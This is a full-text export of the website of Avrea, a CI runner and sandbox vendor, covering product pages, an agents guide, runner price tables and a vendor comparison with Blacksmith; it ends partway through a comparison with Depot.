# Avrea: full website content Public page content. For task-specific documentation, start at /agents or /llms.txt. --- Source: https://avrea.com/ # From code to production, faster GitHub Actions runners that build 2x faster than GitHub-hosted on hardware alone and 10x faster with cache hits, plus a CI engine, Git mirrors and sandboxes. Software delivery platform Avrea accelerates software delivery with high-performance runners, a CI engine, Git mirrors and sandboxes. Fast compute and shared caches cut build and test times across development and CI. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ``` - runs-on: ubuntu-latest + runs-on: avrea-ubuntu-latest ``` GitHub Runner · 2 vCPU 27m 23s Avrea Runner · 2 vCPU 9m 3s Avrea Runner · 2 vCPU, cached 24.1s Linux kernel build ccache · 2 vCPUs 3.0x faster 68x faster, cached - [Case study](https://avrea.com/case-studies/luo) - [Case study](https://avrea.com/case-studies/promorepublic) - [Case study](https://avrea.com/case-studies/focal) - [Case study](https://avrea.com/case-studies/syncle) - [Case study](https://avrea.com/case-studies/sono) - [Case study](https://avrea.com/case-studies/githits) - [Case study](https://avrea.com/case-studies/zero) - [Case study](https://avrea.com/case-studies/teamspective) ## Accelerate your entire delivery workflow Avrea runs your development environments and CI on the same infrastructure. With Git mirrors and caches close to the compute, your engineers and agents can build, test and ship faster. 1. Sandboxes Create dev environment Repository access and shared CI caches 2. Git Mirroring Check out code Fast checkouts from a local mirror 3. Avrea CI Coordinate your workflow Parallel steps with shared setup 4. GitHub Actions Runners Build & test Fast compute with caching close by 5. Avrea AI Fix & improve Fixes and upgrades to code, workflows and tooling, as pull requests - Security Ephemeral VMs, egress firewall, scoped caches - Observability SSH, searchable logs, CPU and memory per step ## Built for speed at every layer High-performance compute, fast networking, local NVMe storage and colocated caches power every Avrea product. Your runners, CI, Git mirrors and sandboxes all run on this foundation. ### Purpose-built hardware High clock-speed CPUs accelerate builds and tests, while high-bandwidth networking and local NVMe storage speed up checkouts, dependency downloads and cache restores. Runs on ### Multi-layer caching Cache dependencies, build outputs, Docker layers, Git checkouts and LFS data close to your workloads, with support for GitHub Actions, Bazel, Turborepo, npm, pip and more. Works with ## High-performance runners and CI Use Avrea runners with GitHub Actions, or run your workflows directly on Avrea CI. ### GitHub Actions Runners Accelerate GitHub Actions with Avrea runners, colocated caches and an isolated VM for every job. [Explore GitHub Actions Runners](https://avrea.com/ci-runners) ### Avrea CIBeta Run your GitHub Actions workflows on Avrea CI, with parallel steps and shared setup. Test changes before you commit them. [Explore Avrea CI](https://avrea.com/ci) ### Faster CI at a lower cost Shorter runtimes and lower per-minute rates reduce your CI spend. 2x Faster runs 33% Lower cost per minute 67% Lower total CI cost [View pricing](https://avrea.com/pricing) ## Git Mirroring Faster checkouts for large repositories, parallel CI jobs and agent workloads. Avrea serves clones and fetches from mirrors next to your runners, while GitHub stays the origin. [Explore Git Mirroring](https://avrea.com/git-mirroring) ## Sandboxes Give engineers and agents an isolated cloud development environment on the same hardware as your runners, with access to your repository and shared CI caches. [Explore Sandboxes](https://avrea.com/sandboxes) Avrea AI Beta ## AI for faster, more reliable CI Avrea AI turns build and test results into proposed improvements for your review. [Explore Avrea AI](https://avrea.com/quality) - ### Fix failing tests Diagnose failures and propose fixes. - ### Optimize workflows Find slow jobs and cache misses. - ### Upgrade tooling Identify outdated build and test tools. ## Full CI observability Step-level logs and resource metrics show where builds slow down and help you investigate failures. ### Spot slow and flaky tests Track test duration and recurring failures across runs. Identify the tests responsible for delays and unnecessary reruns. ### Visibility into resource bottlenecks Inspect CPU, memory, I/O, network and queueing to find the bottlenecks slowing down your CI. avrea-com/frontend › CI chore: upgrade dependencies main · Push · #500 att. 2 · a1b2c3d 2 jobs remaining Install & Audit 6m 0s · avrea-ubuntu-latest · run #99001 6m Logs Build & Test avrea-ubuntu-latest · run #99002 8m 12s … SSH Deploy Preview avrea-ubuntu-latest · run #99003 In queue ### Live debugging in the runner SSH into an active runner to reproduce and investigate failures in the actual CI environment. [Explore Observability](https://avrea.com/observability) ## Enterprise security, built in Every job runs in a fresh VM, caches are isolated by repository, and outbound rules are enforced outside the VM. [Explore Trust & Security](https://avrea.com/trust-security) ## Set up in minutes GitHub Actions RunnersAvrea CIBetaGit MirroringSandboxes 1. Connect Avrea to your GitHub organization 2. Change your job’s runner label to Avrea .github/workflows/ci.yml jobs: build: - runs-on: ubuntu-latest + runs-on: avrea-ubuntu-latest 1. Request access to Avrea CI 2. Install and sign in with the Avrea CLI $brew install avrea-com/tap/avr $avr auth login ``` brew install avrea-com/tap/avr avr auth login ``` 1. Connect your GitHub repositories to Avrea 2. Enable Git Checkout Acceleration $avr settings set cache.git.enabled true `avr settings set cache.git.enabled true` 1. Connect your repository to Avrea 2. Create a sandbox for your project $avr vm create --name dev --os linux --size 4-vcpu \ --repo avrea-com/frontend --wait $avr vm ssh `avr vm create --name dev --os linux --size 4-vcpu --repo avrea-com/frontend --wait` [Start free](https://console.avrea.com/) Supported platforms - Linux - macOS - Windows ## Case studies > “We had already optimized our CI with Turborepo and Vercel Remote Cache. Avrea was 2x faster on top of that, and the remote cache is built into the runner image. We were running our main branch on Avrea the next day.” *Jan Lundström Co-founder, Focal* [Read the full story](https://avrea.com/case-studies/focal) > “With Avrea, we reduced our job times by around 50% right away. We’re especially excited about the AI quality features, which we expect will help us not only ship faster and more often, but also improve overall output quality.” *Denis Demchenko CTO, Syncle* [Read the full story](https://avrea.com/case-studies/syncle) > “Companies building for the agentic era are increasingly running on agentic infrastructure like Avrea, where we’ve unlocked 4x faster execution and radically faster iteration.” *Mike Baranovsky Co-founder & CTO, PromoRepublic* [Read the full story](https://avrea.com/case-studies/promorepublic) [Case studies](https://avrea.com/case-studies) ## Run your builds on Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/about-us # Designed for the new era of software development Meet the founders behind Avrea and the engineering teams using it. Faster builds, clearer feedback and software delivery built for the way teams work today. Software development has changed. Teams now build with AI and create more code than ever. Testing and delivery need to keep pace. Avrea is built for this new reality. Teams running CI on Avrea - [Case study](https://avrea.com/case-studies/luo) - [Case study](https://avrea.com/case-studies/promorepublic) - [Case study](https://avrea.com/case-studies/focal) - [Case study](https://avrea.com/case-studies/syncle) - [Case study](https://avrea.com/case-studies/sono) - [Case study](https://avrea.com/case-studies/githits) - [Case study](https://avrea.com/case-studies/zero) - [Case study](https://avrea.com/case-studies/teamspective) ## Why we are building Avrea AI has accelerated code creation. But every change still needs to be built, tested and validated before it can ship. More code means more work for the systems that deliver it. We have lived this problem. Slow builds, fragmented tools and difficult-to-diagnose failures get in the way of shipping. We believe software delivery needs to keep pace with the way teams build today. Our mission is to enable humans and AI agents to ship software faster, more often, and with higher quality. ## Building the future of software delivery We’re building a software delivery platform where engineers and AI agents can develop, test and improve code together. From the first local change to a validated pull request, the work should happen in a connected environment, with fast feedback at every step. Avrea brings the infrastructure, execution and insight behind that work together. 1. Develop 2. Build & test 3. Review & improve ## Founders & team Avrea brings together an experienced team of engineers and company builders. Hannu Valtonen co-founded Aiven, the cloud data platform that grew into a unicorn. Juha Valvanne co-founded Nosto, the commerce experience platform used by more than 1,500 brands. Hannu Valtonen CEO & co-founder [LinkedIn](https://www.linkedin.com/in/hannuvaltonen/) Juha Valvanne CSO & co-founder [LinkedIn](https://www.linkedin.com/in/juhavalvanne/) Backed by investors including Earlybird. > “When CI is cheap and fast, every change runs the full suite without anyone thinking twice” *Olli Jokinen, Zero* [Read Zero’s story](https://avrea.com/case-studies/zero) [SOC 2 Type II attested](https://avrea.com/trust-security) [ISO 27001:2022 certified](https://avrea.com/trust-security) [Trust & Security](https://avrea.com/trust-security) ## Our values - ### True openness We believe transparency and honesty elevate everything we do. We build trust through clarity, candor, and respect. - ### Customer obsessed We build for developers. We focus on real problems and measure success by the value we create for our users. - ### Stay curious We challenge assumptions and move fast. We believe speed is a competitive advantage, and curiosity is how we win. - ### Enjoy the journey We take our work seriously, but not ourselves. We believe great teams build great products when they enjoy the process. ## The capybara If you’ve seen Avrea, you’ve probably noticed the capybara. The capybara represents something we care deeply about: how building and shipping software should feel. Today, too many developer tools create friction: uncertainty, stress, constant interruptions, and lost momentum. Teams should be able to move forward with speed and certainty, in a state where everything works as it should and where teams can focus, maintain momentum, and move ahead without hesitation. It should feel more like: Fast, focused, and in control. Calm, confident, and powerful. ## Join us We’re building the platform for the next generation of software delivery If you’re excited about: - developer tools - AI-native systems - high-performance infrastructure - solving real problems for builders We’d love to hear from you. [See open positions](https://avrea.com/careers) [Contact us](https://avrea.com/contact) ## Stay connected with Avrea ### Real-time updates Follow Avrea on X for product announcements, release notes and quick engineering insights. [Follow on X](https://x.com/avreacom) ### Company updates See what we’re building, meet the team and stay up to date with Avrea’s latest milestones. [Follow on LinkedIn](https://www.linkedin.com/company/avreacom/) ### Join the community Connect with developers using Avrea, ask questions and discuss CI performance with our team. [Join the community](https://avrea.com/slack) ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/agents # Avrea for agents Setup guides, CLI references and Markdown sources for agents working with Avrea runners, caching, CI and sandboxes. Resources Find the setup guide, command reference or product facts your agent needs for the task. [Read this page as Markdown](https://avrea.com/agents.md) [Website index](https://avrea.com/llms.txt) [Documentation index](https://docs.avrea.com/llms.txt) ## Start with your task ### Run a GitHub Actions job on Avrea GitHub Actions keeps orchestrating the workflow; Avrea runs the job. Start with the GitHub App installation and a runner label that matches the job’s OS, architecture and size. Check the repository’s requirements before proposing a change. - [Runner setup](https://docs.avrea.com/getting-started/) - [Runner labels and sizes](https://docs.avrea.com/runners/) - [GitHub App permissions](https://docs.avrea.com/github-permissions/) ### Investigate a slow or failed job Use run history, step logs and resource metrics to identify the job and the failing or slow step. The CLI reference documents structured output and the options supported by each command. - [CLI setup](https://docs.avrea.com/cli/) - [Run commands](https://docs.avrea.com/cli/reference/run/) - [Job logs and metrics](https://docs.avrea.com/cli/reference/job/) - [Observability](https://docs.avrea.com/observability/) ### Configure caching for a build Choose the cache integration for the build tool, then check cache hits and the time spent restoring and saving data. Package downloads, build outputs and Git checkout have separate configuration and behavior. - [Cache overview](https://docs.avrea.com/cache/overview/) - [Build cache integrations](https://docs.avrea.com/cache/build-cache/overview/) - [Cache statistics](https://docs.avrea.com/cache/stats/) - [Git checkout acceleration](https://docs.avrea.com/cache/git-checkout/) ### Work in a sandbox Read the sandbox guide before creating a VM. It covers organization access, available machines, repository setup, connection methods and time limits. Check the supported platforms for pause and fork, and the lifetime of a paused disk. - [Sandbox setup and limits](https://docs.avrea.com/sandboxes/) - [Claude Code in a sandbox](https://docs.avrea.com/agent-sandboxes-claude-code/) ### Compare cost and performance Match runner size, operating system and architecture. Keep list rates separate from credits and discounts. For benchmarks, retain the workload, cold or cached state and absolute run times when citing a result. - [Pricing and worked example](https://avrea.com/pricing) - [Pricing as Markdown](https://avrea.com/pricing.md) - [Runner benchmarks](https://avrea.com/ci-runners#benchmarks) - [Runner comparisons](https://avrea.com/alternatives) ### Choose another Avrea product Avrea CI schedules and executes workflows directly; it is separate from using Avrea runners with GitHub Actions. Avrea CI and Avrea AI have access-request paths. For Git Mirroring setup, talk to an engineer about your connected repositories and locations. - [Avrea CI](https://avrea.com/ci) - [Request Avrea CI access](https://avrea.com/request-access/ci) - [Request Avrea AI access](https://avrea.com/request-access/ai) - [Discuss Git Mirroring](https://avrea.com/demo) ## Give your agent a concrete starting point For a runner migration, ask it to inspect the workflow and propose a change first. The repository owner handles GitHub App installation and access approval. ### Review a runner migration Read https://docs.avrea.com/getting-started/ and inspect this repository’s GitHub Actions workflows. Identify a compatible build or test job and propose the smallest runner-label change. Explain prerequisites and the runner size comparison. Show the diff before changing files or running workflows. ## Read the source that fits the question Use the product docs for setup, supported options and limits. Use the pricing page for current list rates and the linked benchmark study for measurement conditions. Account-specific access and billing belong in your organization’s console. - [llms.txt](https://avrea.com/llms.txt) links to the website’s product, pricing and reference pages. - [Docs llms.txt](https://docs.avrea.com/llms.txt) links to setup and command documentation. - [llms-full.txt](https://avrea.com/llms-full.txt) contains the full website text. Use an individual page when you only need one topic. Public website pages also have a Markdown copy: use `/pricing.md` for `/pricing`, or `/index.md` for the homepage. Each page links its copy in the HTML head. Reviewed 11 November 2026. Need help with access or setup? [Contact Avrea](https://avrea.com/contact). --- Source: https://avrea.com/alternatives # Compare GitHub Actions runners Compare Avrea, Blacksmith, Depot, Namespace, WarpBuild, Ubicloud and GitHub-hosted runners on pricing, performance, caching and CI tools. Compare runner prices, caching and the work involved in switching providers. ### [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith) Runner rates, Docker caching and GitHits’ experience moving from Blacksmith to Avrea. ### [Avrea vs Depot](https://avrea.com/avrea-vs-depot) Monthly plans, runner rates and the choice between remote Docker builders and builds on the runner. ### [Avrea vs Namespace](https://avrea.com/avrea-vs-namespace) Prices at matching CPU and memory sizes, persistent storage and cache configuration. ### [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild) Hosted runner costs, cache charges and WarpBuild’s option to run inside your own cloud account. ### [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud) Standard and premium runner pricing, caching and operating system support. ### [Avrea vs GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners) Paid rates, included usage and Zero’s experience moving its GitHub Actions jobs to Avrea. ## [GitHub Actions alternatives](https://avrea.com/github-actions-alternatives) Compare runner providers, CI platforms and workflow engines. ## Leaving another runner provider ### [Blacksmith alternatives](https://avrea.com/blacksmith-alternatives) Avrea, Depot, WarpBuild, Namespace, Ubicloud, RunsOn and GitHub-hosted runners side by side, with prices and RunsOn’s build results. ### [Depot alternatives](https://avrea.com/depot-alternatives) Runner options without a plan fee, and where each provider runs Docker builds, from remote builders to persistent disks on the runner. ### [WarpBuild alternatives](https://avrea.com/warpbuild-alternatives) Hosted runners at WarpBuild’s x86 rate, RunsOn’s build results, and which alternatives run inside your own cloud account. ### [Namespace alternatives](https://avrea.com/namespace-alternatives) Runner options without a monthly plan, with RunsOn’s ARM and x86 build results side by side. ## Runner pricing at a glance Prices checked 14 October 2026; WarpBuild and Ubicloud, 15 October 2026. Linux x86 runners with **2 vCPU and 8 GB memory**. Prices in USD. *Linux x86 runners: 2 vCPU and 8 GB memory* | Provider | Runner price per minute | Monthly plan fee | Included usage or credits | | --- | --- | --- | --- | | [Avrea](https://avrea.com/pricing) | $0.004 | Pay as you go | 3,000 minutes per organization on 2-vCPU, 8-GB runners | | [Blacksmith](https://avrea.com/avrea-vs-blacksmith) | $0.004 | Pay as you go | 3,000 free minutes | | [Depot](https://avrea.com/avrea-vs-depot) | $0.006 after included usage | $20 for one user; $200 for unlimited users | 2,000 minutes on Developer; 20,000 on Startup | | [Namespace](https://avrea.com/avrea-vs-namespace) | $0.004 prepaid; $0.006 overage | $0 Developer; Team from $100 | Team includes 100,000 compute unit-minutes, equivalent to 25,000 minutes on 2-vCPU, 8-GB runners | | [WarpBuild](https://avrea.com/avrea-vs-warpbuild) | $0.004 | Pay as you go; no base fee | $10 signup credit (one-time) | | [Ubicloud](https://avrea.com/avrea-vs-ubicloud) | $0.00125 standard; $0.002 premium | Pay as you go | $2.50 credit per month, equivalent to 1,250 premium minutes on 2-vCPU, 8-GB runners | | [GitHub-hosted](https://avrea.com/avrea-vs-github-hosted-runners) | $0.006 after included usage | Included with your GitHub account plan | $12 to $300 of shared monthly compute credit, depending on plan; standard runners are free for public repositories | Namespace’s prepaid rate is the effective rate within a paid plan; a 2-vCPU, 8-GB Linux runner consumes four compute units per minute. Depot’s plans also include separate Docker build and storage allowances. Storage, add-ons and enterprise terms can change the total. ARM and macOS rates are covered in the individual comparisons. Avrea’s allowance is shared with other metered usage. Its persistent disks cost $0.50 per provisioned GB per month. Sources: [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing), [Depot pricing](https://depot.dev/pricing), [Namespace pricing](https://namespace.so/pricing), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included GitHub usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). WarpBuild’s [hosted runner rates](https://www.warpbuild.com/pricing) exclude separately metered cache and snapshot charges; BYOC adds your cloud infrastructure bill. Its [signup credit](https://www.warpbuild.com/compare/namespace) is one-time. Ubicloud’s [pricing](https://www.ubicloud.com/docs/about/pricing) separates standard and premium runners. [Premium is enabled by default](https://www.ubicloud.com/docs/github-actions-integration/use-premium-runners), with fallback to standard when busy; billing follows the runner used. The [runner price comparison](https://avrea.com/github-actions-runner-pricing) adds 4-vCPU, ARM, macOS and Windows rates for every provider and works out what the same build costs on each. ## Related guides - [GitHub Actions pricing](https://avrea.com/blog/github-actions-pricing): minutes, allowances and storage charges. - [GitHub Actions runner types](https://avrea.com/blog/github-actions-runners): hosted, self-hosted and third-party options. - [CPU benchmarks are half the story](https://avrea.com/blog/fastest-github-actions-runners): what to measure beyond CPU scores. - [GitHub Actions caching](https://avrea.com/blog/github-actions-cache): cache keys, restore behavior and invalidation. ## Try Avrea on one job Connect a repository and change the runner for one job. Follow the [setup guide](https://docs.avrea.com/getting-started/), then compare its duration and cost with your current runner. [Try Avrea](https://console.avrea.com) · [See pricing](https://avrea.com/pricing) --- Source: https://avrea.com/avrea-vs-blacksmith # Avrea vs Blacksmith Compare Avrea and Blacksmith on runner pricing, CPU and cache benchmarks, Docker caching, CI diagnostics and AI-assisted fixes. Avrea and Blacksmith run your GitHub Actions jobs at the same entry-level x86 minute rate. Their caching, hardware and debugging tools differ. *Avrea vs Blacksmith: feature comparison* | Feature | Avrea | Blacksmith | | --- | --- | --- | | Operating systems | [Linux, Windows and macOS](https://docs.avrea.com/runners/) | [Linux, macOS and Windows in public beta](https://docs.blacksmith.sh/blacksmith-runners/overview) | | Linux x86, 2 vCPU / 8 GB | $0.004/min | $0.004/min | | Linux ARM, 2 vCPU | $0.012/min, 8 GB | $0.0025/min, 6 GB | | Actions cache | Automatic integration with actions/cache | Automatic integration with actions/cache | | Docker caching | Persistent disks ($0.50/provisioned GB/month) and a BuildKit cache endpoint for Docker caching | Persistent NVMe builder state and cache mounts | | Build-tool caches | Reuse outputs with integrations including Turborepo, Gradle, Go and Bazel | Reuse Bazel build outputs across jobs and branches | | Debugging | Searchable logs, resource metrics and SSH | Logs, resource metrics and SSH | | CI analytics | Workflow and job failure/flake trends, plus cache diagnostics | Test analytics from JUnit reports and supported test logs | | Static IPs | Enterprise feature; $100/IP/month | Paid add-on; $100/IP/month | | AI-generated pull requests | Avrea AI proposes CI fixes, tests them and opens PRs | [code]smith makes code changes in PRs, runs GitHub Actions checks and iterates on failures | Rates exclude included usage and paid extras. ## Runner pricing Prices checked 14 October 2026. | Linux, 2 vCPU | Avrea | Blacksmith | | --- | --- | --- | | x86 | $0.004/min · 8 GB | $0.004/min · 8 GB | | ARM64 | $0.012/min · 8 GB | $0.0025/min · 6 GB | Avrea’s Linux ARM runners use Apple M5 Max hardware. They cost more per minute, but Avrea has the fastest measured ARM CPU performance in the [4-vCPU PassMark tests below](https://avrea.com/avrea-vs-blacksmith#cpu-and-cache-benchmarks). Avrea also includes more memory at the 2-vCPU size above. [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing), [Blacksmith specifications](https://docs.blacksmith.sh/blacksmith-runners/overview). Both advertise 3,000 free monthly minutes, with larger runners using more of the allowance. Blacksmith counts those minutes in x86 2-vCPU equivalents, with different conversion factors for ARM, Windows and macOS. Avrea’s allowance is shared with other metered usage, including static IPs and persistent disks. [Avrea plan details](https://avrea.com/pricing), [Blacksmith allowance rules](https://docs.blacksmith.sh/blacksmith-runners/overview). Our [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing) explains how runner time, included usage and storage contribute to the bill. ### Compare the bill for a completed job At the listed 2-vCPU x86 rate, a ten-minute job costs $0.04 on either provider before allowances or extras. If one finishes that same job in six minutes, its compute cost is $0.024. With equal minute rates, elapsed time and cache charges decide the difference. ## CPU and cache benchmarks These results come from RunsOn’s public GitHub Actions benchmarks. RunsOn sells runners too, and publishes its [test code and methodology](https://runs-on.com/benchmarks/methodology/). The tables below show the 4-vCPU results for both providers. ### CPU Medians from five runs per runner, 14 October 2026. | 4-vCPU runner | Avrea | Blacksmith | | --- | --- | --- | | x86 · PassMark single-thread | 4,243 | 4,230 | | x86 · PassMark CPU Mark, all cores | 11,174 | 14,759 | | ARM64 · PassMark single-thread | 4,860 | 1,346 | | ARM64 · PassMark CPU Mark, all cores | 8,388 | 3,778 | Avrea has the highest ARM scores across all tested providers at 4 vCPUs. Namespace’s Apple-silicon runner is close, within 3% on both measures. Blacksmith has the higher x86 multicore score, while the x86 single-thread scores are close. These are CPU tests, so the scores don’t translate directly into build times. [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). RunsOn lists 16 GB for all four runners, while [Blacksmith’s catalog](https://docs.blacksmith.sh/blacksmith-runners/overview) lists 12 GB for its 4-vCPU ARM runner. ### Actions cache This test saves a 4 GB random file, deletes it, then restores it immediately on the same runner. | 4-vCPU runner | Avrea | Blacksmith | | --- | --- | --- | | x86 · restore / save | 14 s / 20 s | 15 s / 7 s | | ARM64 · restore / save | 11 s / 15 s | 34 s / 21 s | On ARM, Avrea restores the file in 11 seconds; Blacksmith takes 34. On x86, restore times are close and Blacksmith saves faster. This test measures Actions cache transfers, not Docker caching. [RunsOn cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/). The cache table uses the 14 October 2026 results, with five runs per runner shown here. Our [guide to runner benchmarks](https://avrea.com/blog/fastest-github-actions-runners) explains what to measure beyond CPU scores. *Data: RunsOn, [CC BY 4.0](https://runs-on.com/benchmarks/methodology/). We selected the 4-vCPU rows and shortened the metric labels.* ## Caching Both providers route supported `actions/cache` usage to their own cache automatically. Blacksmith documents a free 25 GB repository allowance. Avrea includes 25 GB per repository, shared across Actions, LFS, build and regular package caches, with additional cache storage available to purchase. Private Swift package payloads use separate organization storage. [Blacksmith Actions cache](https://docs.blacksmith.sh/blacksmith-caching/dependencies-actions), [Avrea cache storage](https://docs.avrea.com/cache/storage/). Avrea caches both downloaded packages and build outputs. Its Turborepo integration reuses valid task outputs, so a cache hit can skip compilation or tests rather than just speed up a download. The remote-cache settings are already configured on Avrea runners. Package proxies serve repeat downloads from registries such as npm and PyPI. [Avrea Turborepo cache](https://docs.avrea.com/cache/build-cache/turborepo/), [package caching](https://docs.avrea.com/cache/packages/overview/). Avrea also integrates with Gradle, Maven, Nx, Nix, ccache, sccache, Go, Bazel, Tuist and Xcode. These use each tool’s cache settings: enable build caching in Gradle, for example, or install and use sccache for Rust. [Build-cache integrations](https://docs.avrea.com/cache/build-cache/overview/), [Gradle setup](https://docs.avrea.com/cache/build-cache/gradle/), [sccache setup](https://docs.avrea.com/cache/build-cache/sccache/). Blacksmith also has build-tool caching. Its Bazel integration reuses outputs across jobs and branches within a repository. These caches can skip compilation or test work entirely, which the Actions cache transfer benchmark above doesn’t measure. [Blacksmith Bazel cache](https://docs.blacksmith.sh/blacksmith-caching/bazel-build-caching). Avrea’s persistent Docker cache preserves images, layers and builder state between jobs, reducing the work a repeat build needs to do. Persistent disks cost $0.50 per provisioned GB per month, separate from the included repository cache. You can also export layers to Avrea through BuildKit’s `type=gha` backend. The Docker guide covers both options, including the persistent-disk settings and the `url_v2` cache endpoint. [Avrea Docker setup](https://docs.avrea.com/cache/build-cache/docker/). Blacksmith’s Docker integration keeps builder state on persistent NVMe storage, including layers and cache-mount data. Docker layer caching and sticky disks are listed at $0.50/GB/month. [Blacksmith Docker setup](https://docs.blacksmith.sh/blacksmith-caching/docker-builds), [pricing](https://www.blacksmith.sh/pricing). For a walkthrough of cache keys, restore behavior and invalidation, read our [GitHub Actions caching guide](https://avrea.com/blog/github-actions-cache). ### Package caches and build outputs A dependency download, a compiler invocation and a Docker layer rebuild are different costs. Restoring a package directory can save network time while leaving compilation untouched. A build-tool cache can reuse an output and skip that compilation. Persistent Docker builder state can also preserve data that a normal Actions cache test never touches. In a TypeScript monorepo, package caching reduces dependency downloads, while Turborepo or Nx can reuse outputs from unchanged tasks. Persistent Docker builder state also retains cache-mount data between builds. ## Debugging and AI-assisted fixes Avrea includes searchable logs, CPU and memory metrics, and SSH access to running jobs. Blacksmith also has step-level resource metrics and SSH access. [Avrea logs and metrics](https://avrea.com/observability), [Avrea included features](https://avrea.com/pricing), [Blacksmith metrics](https://docs.blacksmith.sh/blacksmith-observability/metrics), [Blacksmith SSH](https://docs.blacksmith.sh/blacksmith-observability/ssh-access). Avrea’s workflow and job analytics track failure rates, flake rates and duration trends. From a slow or failed run, you can inspect the logs and cache hits, misses, transferred bytes and errors. Blacksmith’s test analytics collects JUnit reports and parses supported test output from logs to show individual test results. [Avrea analytics](https://docs.avrea.com/observability/), [Avrea cache diagnostics](https://docs.avrea.com/cache/stats/), [Blacksmith test analytics](https://docs.blacksmith.sh/blacksmith-observability/test-analytics). ### CI fixes and coding agents Both Avrea AI and Blacksmith’s [code]smith use CI results to work on code changes. With [Avrea AI](https://avrea.com/quality), the work starts with a failing test or a problem identified in the pipeline. It uses the logs, diff and test history to propose a change, runs your full test suite and opens a PR if it passes. With [Blacksmith’s agent](https://docs.blacksmith.sh/codesmith/why), you can hand over a broader coding task. It pushes changes to a pull request, waits for GitHub Actions checks, reads failed-job logs and makes further changes. When the jobs run on Blacksmith, it can also inspect their resource usage. Blacksmith’s [runner sizing recommendations](https://docs.blacksmith.sh/blacksmith-runners/rightsizing) can produce PRs too, so automated pipeline improvements are part of both products. Avrea AI starts from CI data; [code]smith also accepts broader coding tasks. The [Avrea CLI](https://docs.avrea.com/cli/) and [Blacksmith CLI](https://docs.blacksmith.sh/blacksmith-cli/overview) give coding agents access to job information and logs. Avrea also has sandboxes. Blacksmith’s [Testboxes](https://docs.blacksmith.sh/blacksmith-testbox/overview), in early beta, let you run commands against local changes inside a GitHub Actions job. ## Network access and dependency records Both Avrea and Blacksmith offer static IPs for IP allowlisting, at a published price of $100 per IP per month. Avrea lists static IPs under its Enterprise features; Blacksmith sells them as an add-on enabled through support. [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing), [Blacksmith setup](https://docs.blacksmith.sh/blacksmith-runners/static-ip). Avrea’s Enterprise plan includes an egress firewall. You can allow or block destinations and see which connections each job made or attempted. The rules are enforced outside the runner VM. Traffic is allowed by default until restrictions are configured. Required GitHub services and Azure Blob Storage remain reachable even with a deny-by-default policy. [Firewall behavior and exceptions](https://docs.avrea.com/egress-firewall/), [plan availability](https://avrea.com/pricing). Avrea also generates a software bill of materials (SBOM) for each repository, tied to a commit. It lists dependency versions and licenses, with CycloneDX and SPDX exports. Avrea builds this from manifests and lockfiles, so it covers the repository’s declared production dependencies. [Avrea repository SBOMs](https://docs.avrea.com/sbom/). ## What changed for GitHits After moving from Blacksmith to Avrea, GitHits reported 27% faster median test feedback and a 34% improvement at p90, while its test suite grew 22%. The share of Docker builds finishing in one to two and a half minutes rose from 45% to 73%. In a separate comparison of an identical job at the same vCPU size, Avrea removed about 15 seconds of runner platform overhead per job. The compute steps took the same time. The feedback and Docker figures compare a month of successful runs before and after the migration. GitHits also split its pipeline into parallel stages during the move, so those gains reflect the runner change and the pipeline work together. [Read the GitHits case study](https://avrea.com/case-studies/githits). ## Related reading Other comparisons: [Depot](https://avrea.com/avrea-vs-depot), [Namespace](https://avrea.com/avrea-vs-namespace), [WarpBuild](https://avrea.com/avrea-vs-warpbuild), [Ubicloud](https://avrea.com/avrea-vs-ubicloud) and [GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners). See [all comparisons](https://avrea.com/alternatives). For more about Avrea, see [runner performance and caching](https://avrea.com/ci-runners) and [security controls](https://avrea.com/trust-security). To compare every option for teams moving off Blacksmith, see [Blacksmith alternatives](https://avrea.com/blacksmith-alternatives). ## Try one job on Avrea Connect your repository using the [setup guide](https://docs.avrea.com/getting-started/), then change the runner label on one job. For the standard 2-vCPU / 8-GB Linux x86 shape, the label is `avrea-ubuntu-latest`. Choose a matching explicit size if the Blacksmith job currently uses a larger machine. Run the same commits on both providers. Include a cold cache, a repeat of the same commit and a typical source change that invalidates part of the cache. Record queue time, total job duration, the slowest steps and compute plus storage charges. Keep retries and failed jobs in the cost calculation. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/avrea-vs-depot # Avrea vs Depot Compare Avrea and Depot on runner pricing, monthly plan fees, Docker builds, remote caching, CI diagnostics and AI tools. Avrea runs Docker builds on the runner. Depot offers remote BuildKit builders that also work from your laptop. Their runner rates, storage charges and monthly plans differ. *Avrea vs Depot: feature comparison* | Feature | Avrea | Depot | | --- | --- | --- | | Operating systems | [Linux, Windows and macOS](https://docs.avrea.com/runners/) | [Linux, Windows and macOS](https://depot.dev/docs/github-actions/runner-types); check plan availability | | Linux x86, 2 vCPU / 8 GB | $0.004/min | $0.006/min beyond included usage | | Linux ARM, 2 vCPU / 8 GB | $0.012/min | $0.006/min beyond included usage | | Monthly base fee | $0 on pay-as-you-go, including teams | $20 for one user; $200 for unlimited users. Both include usage | | Docker builds | Persistent disks ($0.50/provisioned GB/month) and a BuildKit cache endpoint for Docker caching | Remote BuildKit builders, persistent cache and native multi-platform builds | | Build-tool cache access | Documented endpoints are available inside Avrea runners | Depot Cache also serves laptops and other CI providers | | CI diagnostics | Logs, resource metrics, SSH and cache diagnostics | Runner metrics and test reports; JUnit upload needs an action | | AI failure analysis | Avrea AI analyzes logs, code changes and test history | Sherlock reads job logs and answers questions about failures | | Remote agent environments | Sandboxes | Managed Agents and Sandboxes provide remote execution environments | | Outbound network rules | Enterprise firewall enforced outside the runner 